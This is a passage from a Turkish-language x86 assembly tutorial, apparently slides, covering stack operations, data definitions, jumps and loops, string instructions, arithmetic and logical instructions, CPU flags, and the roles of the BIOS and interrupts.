  • 69. Yığın Hafıza Adresleme Modları Yığın hafıza verileri geçici olarak saklar. Yığın hafıza 8086/8088 ve diğer bir çok mikroişlemcide LIFO(Last in First Out) prensibine göre çalışır. PUSH ve POP komutlarını kullanılır. PUSH komutu ile veri yığın üstüne yerleştirilir. POP ile de veri yığından çekilir. CS hariç tüm register'lar yığından veri çekebilir. Örnek: POP CS > Assembler hatası verir. Yığın hafızadaki veri SS:SP çifti ile gösterilir. Örnek: PUSH AX > AX içeriğini yığına sakla POP BX > Yığından BX register'ına oku PUSH DS > DS'nin bir kopyasını yığına sakla PUSHF > Flag register'ına yığına sakla POPF > Yığından flag register'ına oku VERİ TANIMLAMALARI X86 AssemblyVeri Tanımlamaları Assemblynedir? Assemblydiğerprogramlama dillerine göre dahazor ve yazması daha uzundur. Ancak diğerdillere göre birdençok üstünlüğübulunmaktadır. Bu dili kullanırkenkullanılanmakinenindonanımsal
  • 70. özelliklerininiyi birşekilde bilinmesi gerekmektedir. Başlatılan verileriçinVeri tanımlama: DB (Define Byte) = 1 byte veri tanımlar. DW (Define Word) = 2 byte veri tanımlar. DD (Define Doubleword) =4 byte veri tanımlar. DF (Define Far Word):6 byte veri tanımlar. DQ (Define Quadword) = 8 byte veri tanımlar. DT (Define Tenbyte) =10 byte veri tanımlar. DUP = Duplicate Kod: section .text global _start _start: ; giriş noktası movedx,5 ; mesaj uzunluğu movecx,choice ; yazılacak mesaj movebx,1 ; dosya tanımlayacısı moveax,4 ; sistem çağrı numarası (sys_write) int0x80 ; çağrı çekirdeği section .data choice DW 'bunny' Bu kodu çalıştırdığımızda bize çıktı olarak bunny yazısını verecektir.
  • 71. Burada bulunan değişkeni db olarak tanımlarsak hafızada 1 byte değer ayırır. dw olarak tanımlarsak 2 byte değer ayırır. Burada mov ile xe deneme1 değişken değerini atadı.
  • 72. db ile 8bitlik bir veri tanımladık ancak 16 bitlik bir ax registerinde yazmaya çalışırsak hata verecektir. 16 bit registerın neresine yazayım bu 8 biti ben diyor. Bu hatayı düzeltmek için ise;
  • 73. Word ptr kullanabiliriz. Word ptr sayesinde tamam 16 bitsen 8 biti al kendi içinde yer alan 8 bitlik registera aktar diyoruz. word ptr detaylı bilgi: https://www.youtube.com/watch?v=owCyceN3ALk Bu konumunda burda sonuna gelmiş bulunmaktayım. Bugs Bunny iyi günler diler. KONTROL YAPILARI VE DÖNGÜLER Kontrol Y apıları Assambly dilinde Kontrol Yapılarını inceleyelim Assembly dilinde Kontrol işlemleri, birkaç döngü ve dallanma talimatıyla gerçekleştirilir. İncelemeye Koşullu atlama ve Koşulsuz atlama ile başlayalım sonrada Döngüler şeklinde devam edelim. Koşulsuz Atlama JMP talimatı ile gerçekleştirilir. Bir koşula bağlı olarak bir dizi atlama talimatı söz konusu değildir. Koşullu yürütme, genellikle o anda yürütülmekte olan talimatı takip etmeyen bir talimatın adresine bir kontrol aktarımını gerçekleştirir. Kontrolün devri ileri yönlü ve yeni bir talimatlar dizisini uygulamak için veya aynı adımları yeniden uygulamak için kullanılabilinir. Koşullu Atlama Koşullu atlama koşula bağlı olarak bir dizi atlama talimatı ( j <koşul> ) ile gerçekleştirilir. Koşullu komutlar, sıralı akışı keserek kontrolü aktarır ve bunu (IP)' deki ofset değerini değiştirerek yaparlar. Koşullu atlatmanın detayına inmeden önce CMP kavramın değinmemiz daha doğru olaçaktır CMP Cmp işlenen iki değeri karşılaştırır. Genelde şartlı durumlar için kullanılır. Bu komut temelde işlenenlerin eşit olup olmadığını karşılaştırmak için bir işleneni diğerinden çıkarır ve karar verme durumunda koşullu atlama talimatıyla birlikte kullanılır. Hedef veya kaynaktan gelen değerde herhangi bir oynama söz konusu değildir. CMP iki sayısal veri alanını karşılaştırmakla birlikte gelen veriler sabit veya anlık olması durumu değiştirmez ASM yazım şekli olarakta ( CMP hedef,kaynak ) yukarıdaki formatta karşımıza çıkmaktadır.
  • 74. CMP genellikle bir sayaç değerinin bir döngünün çalıştırılması gereken sayıya ulaşıp ulaşmadığını karşılaştırmak için kullanılabilir. Burada JE komutu zero flag aktif ise atlama işlemini gerçekleştiriyor. Koşulsuz Atlama Yukarıda bahsettiğim gibi, bu JMP talimatı ile gerçekleştirilir. Koşullu işlem esnasında genellikle o anda işlem gören olan talimatı takip etmeyen bir talimatın adresine bir kontrol aktarımını barındırır. Kontrolün devri ileri, yeni bir talimatlar dizisini uygulamak için veya aynı adımları yeniden uygulamak için kullanılabilir olabilir. JMP Kullanım Şekli ( JMP Label ) Koşullu Atlama Koşullu atlamada belirtilen koşullar karşılanırsa akış belirtilen hedefe doğru aktarılır. Koşul ve verilere bağlı olarak çok sayıda koşullu atlama yöntemleri vardır. Bunu yazılım dillerinde kullanılan ( if / elif / else ) koşullarına benzetebiliriz ; koşul ve durumlara göre nasıl yazıyorsak burada da aynı mantalite ancak assembly de koşullu atlama ikiye ayrılmaktadır. Aritmetik ve Mantıksal işlemler için farklı atlama talimatları kullanılmaktadır.
  • 75. Aritmetik işlemlerde kullanılan atlama talimatları Mantıksal işlemlerde kullanılan atlama talimatları Aşağıda da koşullu atlamada kullanılan diğer talimatları görmekteyiz
  • 76. Son olarak da Test edilen bayraklar daha doğrusu Kontrol Kayıtlarının kısaltmalarının açıklamalarına değinecek olursak Overflow Flag (OF) - İmzalı bir aritmetik işlemden sonra yüksek dereceli bir veri bitinin (en soldaki bit) taşmasını gösterir. Direction Flag (DF) - Dizi verilerini hareket ettirmek veya karşılaştırmak için sol veya sağ yönü belirler. DF değeri 0 olduğunda, dizi işlemi soldan sağa ve değer 1 olarak ayarlandığında, dizi işlemi sağdan sola doğru olur. Interrupt Flag (IF) - Klavye girişi vb. Gibi harici kesintilerin yok sayılacağını veya işleneceğini belirler. Değer 0 olduğunda harici kesmeyi devre dışı bırakır ve 1'e ayarlandığında kesmeleri etkinleştirir. Trap Flag (TF) - İşlemcinin çalışmasını tek adımlı modda ayarlamaya izin verir. Kullandığımız DEBUG programı tuzak bayrağını ayarlar, böylece her seferinde bir komut yürütme aşamasına geçebiliriz. Sign Flag (SF) - Bir aritmetik işlemin sonucunun işaretini gösterir. Bu bayrak, aritmetik işlemin ardından bir veri öğesinin işaretine göre ayarlanır. İşaret, en soldaki bitin yüksek sırasıyla gösterilir. Pozitif bir sonuç, SF'nin değerini 0'a temizler ve negatif sonuç onu 1'e ayarlar. Zero Flag (ZF) - Bir aritmetik veya karşılaştırma işleminin sonucunu gösterir. Sıfır olmayan bir sonuç sıfır bayrağını 0 olarak temizler ve sıfır sonuç onu 1 olarak ayarlar.
  • 77. Auxiliary Carry Flag (AF) - Bir aritmetik işlemin ardından bit 3'ten bit 4'e taşımayı içerir; özel aritmetik için kullanılır. AF, 1 baytlık bir aritmetik işlem, bit 3'ten bit 4'e taşınmaya neden olduğunda ayarlanır. Parity Flag (PF) - Bir aritmetik işlemden elde edilen sonuçtaki toplam 1 bit sayısını gösterir. 1 bitlik çift sayı, eşlik bayrağını 0'a, tek sayıdaki 1 bitlik eşlik bayrağını 1'e ayarlar. Carry Flag (CF) - Bir aritmetik işlemden sonra yüksek dereceli bir bitten (en soldaki) 0 veya 1'in taşınmasını içerir. Ayrıca, bir kaydırma veya döndürme işleminin son bitinin içeriğini de depolar. Döngüler JMP gibi kontrol talimatı döngüler için kullanılabilir. Örneğin, aşağıdaki kod parçacığı döngü gövdesini 6 kez çalıştırmak için kullanılabilir. kontrol talimatları dışında oluşturabileceğimiz döngü talimatı LOOP dur. Kullanım şekli ise LOOP label şeklindedir bununla birlikte LOOP komutu, ECX kaydının döngü sayısını içerdiğini varsayar. Döngü başladığında, ECX kaydı bir bir azaltılır ve kontrol, ECX kayıt değeri, yani sayaç sıfır değerine ulaşıncaya kadar döngü devam eder. yukarıdaki örnek kod betiğinde de görüleceği üzere döngünün 2 kere tekrarlanmasını istiyor. Döngüler başlığının altında da gösterdiğim gibi LOOP ile olacak diye bir şart yok. Şimdi başka bir örneği inceleyelim basit bir ( while ) döngüsünün assembly karşılığını inceleyelim ve LOOP talimatını kullanmadan yapalım bunu
  • 78. LOOP lu örneğimizde loop değeri eax daki veriden alıyordu ona göre döngü sayısını belirliyordu yani elimizdeki hedef sayıdan mevcut sayı çıkarılıp EAX registerine atanıp döngü sayısı ona göre belirleniyordu Yukarıdaki örnekte ise elimizdeki sayı ile hedefteki sayı eşit mi değil mi diye kontrol edilip ona göre döngünün devam edip etmeyeceği kararına varılıyor. Kontrol mekanizması ise CMP ile gerçekleştiriliyor. CMP nin mantığı bir değer diğerinden çıkarılıp Sıfıra eşit olma durumuna göre atlamalar gerçekleşiyor. Kontrol Yapıları başlığı altında CMP konusuna değinmiştik daha iyi pekiştirmek adına konuyu tekrar inceleyebilirsiniz STRING İŞLEMLERİ Merhabalar,bu konumuzdaAssemblyprogramlamadilindestringişlemlerini inceleyeceğiz.Hemen bir şeyleryazalımve üzerinekonuşalım. Burada db yani 1 byte=8bitlikdeğertutanpve e karakterlerini tuttum.Source code kısmıbize bunu söylüyor.Üsttarafa bakalım1000 ve 1001 offsetdeğerlerimizdepve e karakterlerini görüyoruz.70 hex değeri olarak,112 signedolarakp karakterini işaretediyor.1.offsetide buşekildesizyorumlayın. Bunları variablesyani değişkentablomuzdandainceleyebiliriz.
  • 79. P ve e yani 2 element,hex karşılıklarısıraylagördüğünüzgibi. ASCIIolarakda görebiliyoruz.Buradanaktarabileceğimstringtanımlamasıyaparkenbyte,Word, double Wordtiplerinde tanımlayabiliriz. Stringişlemlerinde hedef veyakaynakkaydedicisi olarakAXregisterıkullanılırkenbellekadresini SIve DI kaydedicileri tutar.BiryazınınbiryerdenkopyalanmasıolayınıdüşünürsekkaynakolarakDS,hedef olarakES kullanılır.Aşağıdaki örneği inceleyelim. İlksatırda data segmenti adresinialıyorum.Sonraki ikisatırdabuadresleri dsve essegmentlerine aktarıyorum. Şimdi satır satır incelediğimizdatasegmentininadresininax registerınaaktarıldığınıgörüyoruzbunun da 712 adresine sahipolduğunugörmekteyiz.
  • 80. Single stepdediğimzaman712 değeri ax içerisine kopyalandıgördüğünüzgibi.Sağtaraftamov komutuişlendi,sol tarafta712 değeri ax içerisinedüştü.Şimdiise 2.satırıişleyeceğizve DS segmentimizebakacağız. DS segmentimeAXiçerisindeki712 değeri kopyalandışimdi 1adımdaha ilerleyelim. Son adımdaES segmentime de ilgilideğeraktarıldıyani buradaAX’inbellekadresiDSve ES segmentlerine kopyalandı.Buşekilde temel olarakbir işleyişe gözatmışolduk.Stringlerimizden devamedelim. Şimdi bukodlarımızı inceleyelim.Leakomutuile isimdeğişkeni içindeki offsetdeğeri si segmentine, isim2içindeki offsetise di segmentineatanıyor.İsim2değeri 4.offsettenbaşlayacaktır.Yani isim2’nin offsetdeğeri olan4di segmentine atanacaktır. Burada enüst kısma gelirsekdefine byte tipindeyani 1byte değerinde pentkarakterleri isim değişkeninde tutuluyor.Buradaisim2değişkeniiçinise 5byte yerayrılıyor. Şimdi bukodlarımızı işletelim. Tektek pentkarakterleri isim2değişkeniiçerisine aktarıldı.
  • 81. Şimdi bukodsatırlarımızda ise lodsbile isimdeğişkeni içindeki ilkoffsetolanpharfi ax registerıiçine aktarılacak.Stosb bu p harfini alacakve isim2’niniçineyerleştirecek. Yani programişlevinibitirdiği zamanisim2içine pharfi atanacaktır. Buradaki örneğimizdeise cmpsbkomutunuinceleyeceğiz. Bu program işlendiği zamanbizimbayraklarımızdanzeroflag1 değerini alacaktır. Şimdi bunedir?Bizimburadaiki adet aynı değerleritaşıyandeğişkenlerimizvar.İlgilioffsetleralınıyor leakomutuile ve ensondaise cmpsbdevreye giriyor.Yani bukomutumuz2değerineşitolup olmadığını kontrol ediyorkarşılaştırmayapıyorve olumluise zeroflag1yanıyor. Bizimiki değerimizin de offseti e harfini taşıyorhaliyleeşitolduklarındankarşılaştırmasonucundadeğerlerinaynı olduğunugörüyoruz.
  • 82. Burada ise p karakteri ax içine aktarılıyorcx registerıise isimdeğerimizinveri sayısınıtutuyor.scasb ise p harfini isimdeğişkenimiziçinde arıyorve bulursazeroflag1 değerini alıyor.Aksi haldezeroflag 0 değerindekalacaktır. ARİTMETİK MANTIK KOMUTLARI Assembly Aritmetik ve Mantık Komutları Aritmetik İşlemler Aritmetik işlemler toplama(ADD-ADC), çıkarma(SUB-SBB), çarpma(MUL-IMUL) ve Bölme(DIV,IDIV) olmak üzere 4 bölümden oluşur. Aritmetik işlemler bayrakları(flags) etkilemektedir. Bayraklara bakılarak büyük-küçük kontrolleri, kalansız bölünüyor mu? gibi kontroller yapilabilmektedir. Aritmetik işlemlere geçmeden önce bayraklara ufaktan değinelim. Bayraklar(flags) Bayrak kaydedicileri 16 bit veri taşıyabilir, her bit bir bayrağı ifade eder. Carry flag (CF) İşaretsiz sayılarla yapılan işlemler sonucunda bir taşma söz konusu ise bu bayrak 1 yani aktif, taşma meydana gelmiyor ise 0 yani pasiftir.
  • 83. Örnekte de gözüktüğü üzere al 8 bitlik bir ifade ve al 0-255 arasında değerler alabilir. al ile bl i toplayıp al'ye attığımız zaman bir taşma oluyor ve carry flag aktifleşiyor. Parity flag (PF) İşlemin sonucundaki değerdeki 1 olan bitlerin sayısı çift sayı ise bu bayrak 1 yani aktif eğer işlemin sonucundaki değerde 1 olan bitlerin sayısı tek ise bu bayrak 0 yani pasif olur. Burada al'deki 8 değeri ile bl'deki 9 değeri toplanıp al'ye yazıldı sonucun binary değeri 00010001 yani burada 1 olan bitlerin sayısı 2 çift sayıdır. Bu yüzden parity flag aktif oluyor. Zero flag (ZF) Herhangi bir işlem sonucunda sıfır değeri elde ediliyorsa bu bayrak 1 yani aktif eğer işlemin sonucu sıfır değilse bu bayrak 0 yani pasif olur.
  • 84. Buradaki örnekte al'ye atanan 1 değeri daha sonra dec komutu al'yi 1 azalttı ve al 0 oldu. Bu yüzden zero flag aktif oluyor. Sign flag (SF) Aslında en basit ifade ile bu bayrak işlem sonucunda elde edilen değerin en soldaki bitini yani işaret bitini tutuyor. İşlem sonucunda elde edilen değerin işaret bit'i 0 ise bu bayrak pasif 1 ise aktif oluyor. Biz bir aritmetik işlemde sonucun negatif olup olmadığını bu bayrak sayesinde anlayabiliriz. Örnekte al'deki 9 değeri ile bl'deki -10 değeri toplanıp al'ye yazıldı binary değeri 11111111 en soldaki bit yani işaret bit'i 1 olduğu için bu bayrak aktif durumdadır. Overflow flag (OF) İşaretli sayılarda yapılan işlemin sonucu işaretli sayı aralığında ise 0 yani pasif ama bir aşma durumu var ise 1 yani aktif olur.
  • 85. 8 bitlik işaretli sayılarda en küçük değer -128 en büyük ise +127'dir. Burada al ile bl toplamı 130 al'ye aktarıldı. İşlemin sonucu işaretli sayı aralığını aşma durumu gerçekleştiği için bu bayrak 1 yani aktif durumdadır. Auxiliary carry flag (AF) İşaretsiz sayılarda yapılan işlem sonucunda 4 bit'te taşma meydana geliyorsa Auxiliary carry flag 1 yani aktif eğer taşma meydana gelmez ise 0 yani pasif olur. Burayı şöyle düşünelim al'ye 10 değerini atadık yani 00001010, bl'ye 6 değerini atadık yani 00000110, ikisini toplayıp(10 + 6 = 16) al'ye atadık. Bilindiği üzere 4 bit 0-15 arasındaki sayılar ile ifade ediliyordu. 00001010 + 00000110 = 00010000 görüldüğü gibi düşük değerli 4 bit'te taşma meydana geldi ve bu bayrak aktif duruma geçti. Direction Flag (DF) Ardışık verilerde özellikle string işlemlerinde kullanılan komutların ileri mi geri yönlü mü çalışacağını belirlemektedir. Direction flag 1 ise geri yönlü 0 ise ileri yönlü işlem yapılır. Interrupt enable Flag (IF) Default olarak 1 değeri vardır. 1 yani aktif durumda iken işlemciye harici cihazlardan kesme(interrupt) sinyalleri gönderilebilir.
  • 86. Aritmetik Komutlar - Toplama(ADD-ADC) ADD toplama, ADC elde ile toplamadır.ADD ile tek farkı elde bayrağının da(CF) eklenmesidir. ADD ile Toplama işlemi İşlemin özeti: add deger1,deger2 -> deger1 = deger1 + deger2 register, register şeklinde kullanımı; memory, register şeklinde kullanımı; register, memory şeklinde kullanımı;
  • 87. register, immediate şeklinde kullanımı; memory, immediate şeklinde kullanımı; Not: 8 bitlik kaydedicide toplama işleminin sonucu 8 bit'i aşarsa over flag(OF) ve carry flag(FG) aktif olur. ADC ile Toplama İşlemi Yapılan işlemin özeti: adc deger1,deger2 -> deger1 = deger1 + deger2 + CF
  • 88. ADC ile eldeli toplamaya gelecek olursak ADD için geçerli olan tüm durumlar burada da geçerli. Yukarıda belirttiğimiz gibi tek fark elde bayrağının işin içine girmesidir. Aritmetik Komutlar - Çıkarma(SUB-SBB) SUB ve SBB ikisi de çıkarma işlemi gerçekleştirmek için kullanılır. Aralarındaki temel fark SUB ile çıkarma işlemi yapılırken çıkarma işlemine CF dahil edilmez. SBB ile çıkarma işlemi yapılırken çıkarma işlemine CF de dahil edilir. register, register memory, register register, memory register, immediate memory, immediate kullanımı mevcuttur. Bu yönden toplama işlemi ile bir fark yok. Yukarıdaki gibi her biri için örnek vermeyeceğim. SUB ile Çıkarma işlemi İşlemin özeti: sub deger1,deger2 -> deger1 = deger1 - deger2 register, immediate şeklinde kullanıma örnek verdik.
  • 89. register, register şeklinde kullanıma örnek verdik. SBB ile Çıkarma işlemi İşlemin özeti: sbb deger1,deger2 -> deger1 = deger1 - deger2 -CF Bu örneği açıklayacak olursak al'ye 3 değeri atandı, daha sonra sub ile çıkarma işlemi yapıldı ve 6 çıkarıldı. Bu sırada al değeri FD(253) oldu ve carry flag değeri 1 oldu. En son aşamada sbb ile çıkarma işlemi yapıldı ve 2 çıkarıldı. Normal şartlarda 253 - 2 = 251 olması gerekiyor fakat işin içine carry flag de dahil oldu ve 253 - 2 - 1 = 250 oldu. Carry flag ise 0 değerini aldı. Aritmetiksel Komutlar - Çarpma(MUL-IMUL) MUL ve IMUL ile gerçekleştirilir. İşlemin özeti: mul değer1 -> 8 bit = AX=AL*değer1 , 16 bit=(DX AX) = AX*değer1 MUL ile Çarpma İşlemi İşaretsiz(unsigned) sayılarda çarpma işlemi yapılırken kullanılır.
  • 90. Bu örnekte görüldüğü üzere bl, al ile çarpılarak ax içerisine yerleştirildi. 16 bit'le işlem yapıldığında bulunan sonuş dx ax ikilisinde tutuluyordu. Burada sonuç direkt ax içerisinde gözüküyor. DX, çarpma sonrasında oluşan genişleme değerini tutar. Herhangi bir genişleme olmadığı için 0 durumundadır. IMUL ile Çarpma İşlemi İşaretli(signed) sayılarda çarpma işlemi yapılırken kullanılır. bl değeri 2 iken 4 eksiliyor ve işaretli sayılarda -2 oluyor. Daha sonra al 5 oluyor. 5 * (-2) = - 10 cevabını buluyoruz.
  • 91. Aritmetiksel Komutlar - Bölme(DIV-IDIV) DIV ve IDIV ile gerçekleştirilir. İşlemin özeti: div değer1 -> 8 bit = AL=AX / değer1 AH = Kalan (Mod) 16 bit = AX=(DX AX) / değer1 DX = Kalan (mod) DIV ile Bölme İşlemi İşaretsiz(unsigned) sayılarda bölme işlemi yapılırken kullanılır. BL içerisindeki 5, AX içerisindeki 51 ile bölme işlemine tabii tutuldu. 51 / 5 = 10 kalan ise 1. Buradaki örnekte gözüktüğü üzere elde edilen sonuç yani bölüm al'de kalan ise ah'de görülmektedir. IDIV ile Bölme İşlemi İşaretli(signed) sayılarda bölme işlemi yapılırken kullanılır. Özetle (-182) / 9 = (-20) kalan ise -2 burada kalan aynı şekilde AH içerisinde gösterilirken bölüm AL içerisinde gösterilmiş
  • 92. Mantıksal Komutlar - AND Genelde maskeleme amacı ile kullanılmaktadır. İstenilen bitlerin yok edilmesi için kullanılır. İşlemin özeti: and değer1, değer2 -> değer1 ile değer2 and işlemine tabi tutulur. Sonuç değer1'de saklanır. 0 ve 1 mantığı ile ifade edilirse; 1 AND 1 = 1 1 AND 0 = 0 0 AND 1 = 0 0 AND 0 = 0 Bu örnekte yaptığımız işlemi açıklayacak olursak al'de bulunan 'e' değerinin binary karşılığı 01100101 bu değeri 11011111 ile and işlemine tabi tutarsak 01000101 sonucunu veriyor. 01000101 sonucu ise 'E' nin karşılığıdır. Mantıksal Komutlar - OR OR komutu AND ile benzerdir maskeleme işlemi için kullanılır. İstenilen bitlerin korunmasını sağlar. İşlemin özeti: or değer1, değer2 -> değer1 ile değer2 or işlemine tabi tutulur. Sonuç değer1'de saklanır. 0 ve 1 mantığı ile ifade edilirse; 1 OR 1 = 1 1 OR 0 = 1 0 OR 1 = 1 0 OR 0 = 0
  • 93. Bu örnekte yaptığımız işlemi açıklayacak olursak al'de bulunan 'E' değerinin binary karşılığı 01000101 bu değeri 00100000 ile or işlemine tabi tutarsak 01100101 sonucunu veriyor. 01100101 sonucu ise 'e' nin karşılığıdır. Yani and işlemine benzer bir işlemdir. Mantıksal Komutlar - XOR Seçilen bit'in tersini alır. İşlemin özeti: xor değer1, değer2 -> değer1 ile değer2 xor işlemine tabi tutulur. Sonuç değer1'de saklanır. 0 ve 1 mantığı ile ifade edilirse; 1 XOR 1 = 0 1 XOR 0 = 1 0 XOR 1 = 1 0 XOR 0 = 0 Bu örneği açıklayacak olursak al içerisindeki 01000101 binary değeri 01010011 binary değeri ile xor işlemi uyguladık. Sonuç olarak 00010110 binary değerini elde ettik. Mantıksal Komutlar - NOT Bütün bitlerin tersini alır.
  • 94. İşlemin özeti: not değer1 -> değer1 içerisinde bulunan değerlerin bitlerinin tersini alır. 0 ve 1 mantığı ile ifade edilirse; 1 NOT = 0 0 NOT = 1 al içerisindeki 42 hex değerini not işlemi uyguladık. 42 hex değerinin binary karşılığı 01000010 not işlemi uygulanmış hali ise 10111101 dir. Mantıksal Komutlar - TEST and işlemine tabi tutulur fakat herhangi bir yerde saklanmaz. Sadece bayraklar etkilenir. İŞLETİM SİSTEMİ VE BIOS İLİŞKİSİ Öncelikle BIOS ve işletim sistemi nedir sorularını tek tek ele alalım... İşletim Sistemi Nedir? İşletim sistemleri, tüm donanım birimlerinin ve uygulama yazılımlarının yönetim ve denetimini sağlayan bir yazılımlar bütünüdür. İşletim sistemi bilgisayar donanımları ve uygulama yazılımların arasında köprü görevi üstlenmektedir. İşletim sistemlerine GNU/Linux, Windows, MacOs, Unix, Android, ios vb. örnekleri verilebilir. İşletim sistemleri sadece kullandığımız bilgisayar, telefon, web sunucularında değil, otomobillerde, kol saatlerinde ve akıllı ev sistemlerinde de bulunmaktadır. İşletim Sisteminin Görevleri Nelerdir? 1.İşlem Yönetimi İşletim sistemleri için önemli bir parçadır. İşletim sistemi mevcut kaynakları işlemlere göre ayırır, veri aktarımı/paylaşımına uygun hale getirir, işlemin kaynağını diğer işlemlerden korur ve en önemlisi senkronizasyonu sağlar. Özetle işlemlerin belirli bir sırada ve zamanda
  • 95. uygulanmasını sağlar. 2.Bellek Yönetimi Ana belleğin işlemler arasında paylaştırılması işlemidir. İşletim sistemlerinde bu amaç doğrultusundan oluşturulmuş kesime ise bellek yöneticisi(Memory Manager) adı verilir. Bellek yöneticisi belleğin dolu ve boş kısımlarını kontrol eder, işlemler için gerekli belleği ayırır ve o işlem bitince bu belleği tekrar boşaltır. 3.Dosya Yönetimi İşletim sisteminin bir diğer görevi ise içlerinde verilerin tutulduğu tüm dosyaların yönetimidir. Bu dosyalara erişim, yazma, okuma, silme, değiştirme vs. tüm işlemleri yönetmektedir. 4.Giriş Çıkış Birimleri Yönetimi Bir bilgisayar üzerinden örnek verecek olursak, bilgisayar ile çevre birimleri(örnek: mouse) arasındaki veri alış verişini denetler. Bunların dışında donanım ile iletişimi sağlama, ağ yönetimi, kesmeler, bilgisayar güvenliği vb. konular da işletim sisteminin görevleri arasında yer alır. BIOS Nedir? Basic Input-Output System, Türkçe olarak ifade edecek olursak Temel Giriş-Çıkış Sistemi kısaca özetlenecek olursa, EPROM adı verilen yonganın üzerinde ROM Bellek biçiminde yer alan bir tür yazılımdır. EPROM ve ROM Belleği kısaca açıklayalım. EPROM Erasable Programmable Read Only Memory, Türkçe olarak ifade edecek olursak Silinip Programlanabilir Salt Okunur Bellek. Dov Frohman tarafından icat edilen bu bellek türü güç kaynağı kapatıldığında bile üzerindeki veriyi saklayabilen bir tür bilgisayar hafıza yongasıdır. Saklanan bu veriler kalıcıdır. Bir kere programlandıktan sonra sadece kuvvetli mor ötesi ışığa maruz kaldığında silinebilir. ROM Bellek Read-only Memory, Türkçe olarak ifade edecek olursak sadece okunabilir bellek Türkçesinden de anlaşılacağı üzere sadece üretim anında yazılan bir bellek türüdür. Ram gibi yazılıp silinemez, kullanıcı kendi isteği doğrultusunda programlayamaz. BIOS'un görevi bilgisayar ilk açıldığı anda işlemciye diğer tüm donanımları tanıtmak ve donanımların temel iletişim protokollerini belirlemektir. Ayrıca işletim sistemi başlangıç öğelerinin herhangi bir sürücüden (hard disk sürücüsü, CD- ROM vb.) yüklenmesini sağlar. İşletim Sistemi ve BIOS Arasındaki İlişki Yukarıda da bahsettiğimiz gibi BIOS işletim sisteminin başlangıç öğelerini yüklemekteydi. İşletim sistemi ile donanım arasındaki tüm bağımsız sürücülerin yönetimini BIOS üstlenir. Donanım üreticileri, sürücüleri işletim sistemine özgü olarak çıkartır. İşletim sistemleri farklı yapılarda çalışabilir. Varsayılan olarak Windows olan bir sistemde MacOS, aynı
  • 96. şekilde varsayılan olarak MacOs olan bir sistemde Windows çalıştırılabiliyor. İşte tam bu noktada farklı donanımları işletim sistemine tanıtan BIOS'dur. ek olarak IRQ, IVT ve BDA bahsedecek olursak.. IRQ(Interrupts) Nedir? Türkçe anlam karşılığı "kesme"dir. Kesme mikro işlemcinin üzerinde çalıştığı koda ara vererek başka bir kodu çalıştırması işlemidir. Kesmeler makine dilinde yazılmış bir çeşit fonksiyonlardır. Çağırılması için bir programlama diline ihtiyaç yoktur. Çağrılma kaynaklarına göre 3 bölümde incelenir. 1.Yazılım Kesmeleri İşlevsel olarak normal bir fonksiyon çağırmadan farkı yoktur. INT hh makine komutuyla koda dahil edilirler. 2.Donanım Kesmeleri Fonksiyonla değil de elektriksel yolla çağırılmaktadırlar. Mikro işlemci ve mikro denetleyicinin donanın kesmesi için bir INT ucu vardır. INT ucu uyarıldığında(buradaki uyarılmadan kasıt elektriksel olarak 5v uygulanması veya 0v uygulanması anlamına gelir) mikro işlemci o an çalıştırdığı koda ara vererek başka bir kodu çalıştırmaya geçer. Sonuç olarak donanım kesmelerinin oluşması dış etkenlere ve elektriksel olaylara bağlıdır. Bu yolla donanım kesmesi oluşturulmasına IRQ (interrupt request) denir. 3.İçsel Kesmeler Mikro işlemci bir kodu çalıştırırken problemle karşılaşması durumunda kendi kendisini çağırdığı kesmelerdir. Bir bilgisayarda toplam 16 IRQ hattı bulunmaktadır.(0-15) Normal şartlarda bir IRQ'yi yalnızca bir aygıtın kullanması gerekir. Aksi durumda işlemci şaşırır. IRQ 0: Sistem saati. IRQ 1: Klavye IRQ 2: Programlanabilir IRQ denetçisi. (Modemler, COM3 ve COM 4 portları) IRQ 3: COM 2 portu (modemler, COM 4, ses ve ağ kartları, teyp yedekleme birimlerini hızlandıran kartlar) IRO 4: COM 1 portu (modemler, COM 4, ses ve ağ kartları, teyp yedekleme birimlerini hızlandıran kartlar) IRQ 5: Ses kartı (LPT2, LPT3 yani ikinci ve üçüncü paralel portlar COM 3, COM 4, modemler, ağ kartları, MPEG kartları, teyp yedekleme birimlerini hızlandıran kartlar) IRQ 6: Disket sürücü denetleyicisi (teyp yedekleme birimlerini hızlandıran kartlar) IRQ 7: LPT1, yani ilk paralel port (LPT2, COM 3, COM 4, modemler, ağ kartları, ses kartları, teyp yedekleme birimlerini hızlandıran kartları IRQ 8: Gerçek zamanlı saat. IRQ 9: (Ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, yeniden yönlendirilen IRQ2 aygıtları) IRQ 10: (Ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, ikinci ve dördüncü IDE kanalları) IRQ 11: (Görüntü kartları, ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, üçüncü ve dördüncü IDE kanalları)
  • 97. IRQ 12: PS/2 fare (Görüntü kartları, ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, üçüncü IDE kanalı) IRQ 13: FPU, yani matematik işlemci. IRQ 14: Birinci IDE kanalı (SCSI kartlar) IRQ 15: İkinci IDE kanalı (Ağ ve SCSI kartlar) İntel sistemlerde kesmeler işlevlerine göre 3'e ayrılır. BIOS KESMELERİ 1 mb adres alanının son 64 K'sıolan(F0000-FFFFF) EPROM içerisinde bulunan makine dilinde yazılmış kodlardır. EPROM içerisindeki kesme kodlarının bulunduğu bölgeye BIOS denir. Kodu burada bulunan kesmeler çeşitli kontrol kartlarının programlayarak işletim sisteminden bağımsız çok temel işlemleri gerçekleştirmektedir. BIOS kesmeleri video, aşağı seviyeli disk işlemleri, klavye işlemleri gibi işletim sistemine bile gereksinim duymayan çok temel işlemleri gerçekleştirmektedir. DOS KESMELERİ DOS'un belleğe yüklenmesiyle yaratılırlar, bütün DOS işlemleri birtakım DOS kesmelerinin çağırılmasıyla sağlanmaktadır. 21h numaralı kesme DOS'un temel bütün fonksiyonlarını yerine getirmektedir. ÖZEL KESMELER Özel bazı programların belleğe yüklediği kesme kodlarıdır. Örneğin mouse işlemleri için 33h kesmesi kullanılır (dos'ta). Ancak mouse.com programının yüklenmesiyle bu kesme kodları belleğe yüklenir. Interrupt Vector Table Nedir? x86 mimarisinde Türkçe anlamı Kesme Vektör Tablosu(IVT) real modda kullanılan 256 interrupt işleyicisinin tümünün adreslerini belirten bir tablodur. BDA - BIOS Data Area Nedir? BIOS Data Area kısmen sanallaştırılmış real mode BIOS işlemleriyle ilgili alandır. Kaynakça: https://tr.wikipedia.org/wiki/İşletim_sistemi https://tr.wikipedia.org/wiki/BIOS 